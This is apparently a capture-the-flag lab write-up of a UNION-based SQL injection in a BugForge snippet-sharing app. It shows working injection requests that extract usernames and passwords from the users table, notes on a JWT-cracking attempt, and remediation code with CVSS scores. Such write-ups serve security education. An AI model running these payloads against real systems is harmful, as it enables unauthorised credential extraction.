BugForge — 2026.04.08

Copypasta: UNION-Based SQL Injection

BugForge SQL Injection easy

Overview

  • Platform: BugForge
  • Vulnerability: SQL Injection (UNION-based) — share_code path parameter concatenated directly into SQL query
  • Key Technique: UNION SELECT to extract usernames and passwords from the users table via the snippet share endpoint
  • Result: Extracted admin password field containing the flag

Objective

Find and exploit a vulnerability in the BugForge “Copypasta” snippet-sharing application to capture the flag. This is a different instance of the same application from the 2026-03-24 engagement — same tech stack, same user roster, but a different vulnerability class.

Initial Access

# Target Application
URL: https://lab-1775683354501-qo7tcf.labs-app.bugforge.io

# Auth details
POST /api/register with {username, email, password, full_name}
Returns JWT Bearer token (HS256, no expiry)
Registered as: haxor (id:5, role: user)

Key Findings

  1. SQL Injection on GET /api/snippets/share/:share_code (CWE-89: SQL Injection) — The share_code path parameter is concatenated directly into the SQL query without parameterization. Every other endpoint in the application uses parameterized queries — the share endpoint is the sole exception. UNION-based extraction gives full read access to the SQLite database, including the users table where the flag was stored in the admin’s password field.

  2. Private Snippet Information Disclosure (CWE-200: Exposure of Sensitive Information) — GET /api/profile/:username returns all of a user’s snippets regardless of the is_public flag. Any authenticated user can view private snippets of any other user by requesting their profile.

  3. Password Change Without Current Password (CWE-620: Unverified Password Change) — PUT /api/profile/password accepts a new password without requiring the current one. Impact is limited since the endpoint is JWT-bound (no IDOR this time), but it would become critical if combined with session hijacking.


Attack Chain Visualization

┌──────────────┐     ┌──────────────────┐     ┌──────────────────┐     ┌──────────────────┐
│   Register   │────▶│  Recon: Map API  │────▶│  SQLi: Confirm   │────▶│  UNION SELECT    │
│  (haxor)     │     │  surface, test   │     │  injection on    │     │  username,pass   │
│  Get JWT     │     │  mass assignment,│     │  /share/:code    │     │  FROM users      │
│              │     │  IDOR, JWT, SQLi │     │  with 'OR'1'='1  │     │  → flag in admin │
└──────────────┘     └──────────────────┘     └──────────────────┘     │  password field  │
                                                                       └──────────────────┘

Application Architecture

Component Detail
Backend Express (Node.js)
Frontend React + MUI (dark theme, source maps available)
Auth JWT HS256 — payload: {id, username, iat}, no expiry
Database SQLite
CORS Access-Control-Allow-Origin: *

API Surface

Endpoint Method Auth Notes
/api/register POST No Returns JWT + user object
/api/login POST No Parameterized queries
/api/verify-token GET Yes Returns user object with role
/api/profile/:username GET Yes Leaks private snippets
/api/profile PUT Yes JWT-bound, ignores extra fields
/api/profile/password PUT Yes No current password required, JWT-bound
/api/snippets GET Yes Own snippets only
/api/snippets/public GET No All public snippets
/api/snippets/:id PUT/DELETE Yes Ownership check enforced (403)
/api/snippets/:id/comments GET/POST Yes
/api/snippets/:id/like POST/DELETE Yes
/api/snippets/share/:share_code GET Yes SQLi — share_code concatenated into query

Known Users

Username ID Role
admin 1 admin
coder123 2 user
pythonista 3 user
webdev 4 user
haxor 5 user (us)

Exploitation Path

Step 1: Register and Authenticate

POST /api/register HTTP/1.1
Content-Type: application/json

{
  "username": "haxor",
  "email": "test@test.com",
  "password": "password123",
  "full_name": "test"
}

Response returns JWT with payload {"id":5,"username":"haxor","iat":...}. Role stored server-side only.

Step 2: Recon — Systematic Surface Enumeration

Tested every plausible vector before landing on SQLi:

  • Mass assignment (role/id/username on register, profile update, snippet create) — all ignored. Field whitelist in place across every write endpoint.
  • IDOR (password change, snippet edit/delete, profile update) — all JWT-bound or ownership-checked. The 2026-03-24 IDOR on password change (client-supplied user_id) has been patched in this instance.
  • JWT manipulation — none algorithm rejected (403), HS256 secret survived rockyou.txt + targeted wordlist.
  • SQLi on body fields (login, register, profile update, comments) — all parameterized. Payloads stored literally.
  • SQLi on path params (profile/:username) — parameterized.
  • Source map review — full React source available, confirmed no hidden API endpoints beyond the documented set.

The profile information disclosure (leaking private snippets) was noted but didn’t lead to the flag.

Step 3: SQL Injection on Share Endpoint

The share endpoint stood out as a candidate because share_codes are UUIDs — developers often assume UUIDs are “safe” input since they’re auto-generated and don’t come from user forms. This can lead to skipping parameterization.

Confirm injection:

GET /api/snippets/share/' HTTP/1.1
Authorization: Bearer <jwt>

Result: 404 "Snippet not found" — no SQL error, but behavior is testable.

GET /api/snippets/share/'OR'1'='1 HTTP/1.1
Authorization: Bearer <jwt>

Result: 200 OK — returned snippet ID 1. The OR 1=1 clause bypassed the WHERE condition and returned the first row, confirming the share_code is concatenated directly into the query.

Step 4: Determine Column Count

GET /api/snippets/share/'%20UNION%20SELECT%201,2,3,4,5,6-- HTTP/1.1
Authorization: Bearer <jwt>

Result: 200 OK — confirmed 6 columns in the snippets table query. (5 columns returned 500; 7 returned 500.)

Step 5: Extract Credentials from Users Table

GET /api/snippets/share/'%20UNION%20SELECT%201,username,password,4,5,6%20FROM%20users-- HTTP/1.1
Authorization: Bearer <jwt>

Response returned the admin row with username: "admin" in the title field and the flag in the code field — the UNION mapped username and password from the users table into the snippet response structure.


Flag / Objective Achieved

Vector Flag
UNION SQLi on /api/snippets/share/:share_code → users table extraction bug{2kfn2khmOTu5y0gdjJCskq6Q2TdjwjSv}

Key Learnings

  • Auto-generated values still need parameterization. The share_code is a UUID generated by the server, so the developer likely assumed no user-controlled input would ever reach that query. But the share_code is passed as a URL path parameter — any value the client sends reaches the database. The assumption that “this field will always be a UUID” is a trust boundary violation.

  • One inconsistency in an otherwise hardened app is the vulnerability. Every other endpoint in this application used parameterized queries correctly. The share endpoint was the single exception. Thorough enumeration — testing every input field, not just the obvious ones — is what finds this.

  • Systematic elimination narrows the search space efficiently. Testing and ruling out mass assignment, IDOR, JWT attacks, and SQLi on login/register/profile/comments before reaching the share endpoint wasn’t wasted effort — it built a map of the attack surface and highlighted the one endpoint that behaved differently.

  • Compare instances of the same application. This is the same Copypasta app from 2026-03-24, but with the IDOR patched and a different vulnerability planted. Knowing the previous instance’s architecture (same user roster, same endpoint layout) accelerated the recon phase significantly.


Failed Approaches

Approach Result Why It Failed
Mass assignment (role on register/profile) 200 OK but role unchanged Field whitelist — all endpoints ignore extra fields
IDOR on password change (user_id in body) user_id ignored Patched since 2026-03-24 instance — endpoint is now JWT-bound only
IDOR on snippet edit/delete 403 Ownership check enforced
JWT none algorithm 403 Server rejects none algorithm
JWT secret cracking (rockyou + targeted) Exhausted Secret not in common wordlists
SQLi on login username/password “Invalid credentials” Parameterized queries
SQLi on profile path parameter “User not found” Parameterized queries
SQLi on register/profile update/comment body fields Stored literally Parameterized queries

Tools Used

Tool Purpose
Caido HTTP proxy — API enumeration, request replay, SQLi testing
Browser DevTools React source map analysis, endpoint discovery
hashcat JWT HS256 secret cracking attempts (mode 16500)

Remediation

1. SQL Injection on Share Endpoint (CVSS: 9.8 — Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Issue: The GET /api/snippets/share/:share_code endpoint concatenates the share_code path parameter directly into the SQL query string. This allows an attacker to inject arbitrary SQL via UNION SELECT to read any table in the database, including user credentials and application secrets.

CWE Reference: CWE-89 — Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

Fix:

// BEFORE (Vulnerable)
router.get('/share/:share_code', authMiddleware, async (req, res) => {
  const { share_code } = req.params;
  const query = `SELECT * FROM snippets WHERE share_code = '${share_code}'`;
  const snippet = await db.get(query);
  // ...
});

// AFTER (Secure)
router.get('/share/:share_code', authMiddleware, async (req, res) => {
  const { share_code } = req.params;
  const snippet = await db.get(
    'SELECT * FROM snippets WHERE share_code = ?',
    [share_code]
  );
  // ...
});

Additional recommendations:

  • Audit all database queries application-wide for string concatenation — one parameterized-query miss is one too many.
  • Implement input validation on share_code to enforce UUID format before it reaches any query.
  • Use an ORM or query builder that parameterizes by default (e.g., Knex.js, Sequelize) to make raw string concatenation the exception rather than the norm.
  • Store sensitive values (flags, secrets) outside of the users table password field to limit blast radius of data extraction.

2. Private Snippet Information Disclosure (CVSS: 5.3 — Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Issue: The GET /api/profile/:username endpoint returns all of a user’s snippets regardless of the is_public flag. Any authenticated user can view another user’s private snippets by requesting their profile.

CWE Reference: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor

Fix:

// BEFORE (Vulnerable)
const snippets = await db.all(
  'SELECT * FROM snippets WHERE user_id = ?',
  [user.id]
);

// AFTER (Secure)
const snippets = await db.all(
  'SELECT * FROM snippets WHERE user_id = ? AND (is_public = 1 OR user_id = ?)',
  [user.id, req.user.id]
);

3. Password Change Without Current Password (CVSS: 3.5 — Low)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Issue: PUT /api/profile/password accepts a new password without verifying the current one. Impact is limited by JWT binding (no IDOR), but session compromise would allow password change without the current password.

CWE Reference: CWE-620 — Unverified Password Change

Fix: Require old password verification before accepting a new password.


OWASP Top 10 Coverage

  • A03:2021 — Injection: The core vulnerability. Unsanitized, non-parameterized input in a SQL query allows UNION-based data extraction from the entire database.
  • A01:2021 — Broken Access Control: The profile endpoint exposes private snippets to any authenticated user, violating the intended access model.
  • A04:2021 — Insecure Design: Trusting that a UUID field will never contain malicious input is a design-level assumption that breaks the parameterization guarantee the rest of the app maintains.
  • A07:2021 — Identification and Authentication Failures: Password change without current password verification.

References


Tags: #sqli #union-injection #sqlite #credential-extraction #bugforge #webapp Document Version: 1.0 Last Updated: 2026-04-08

#sqli #union-injection #sqlite #credential-extraction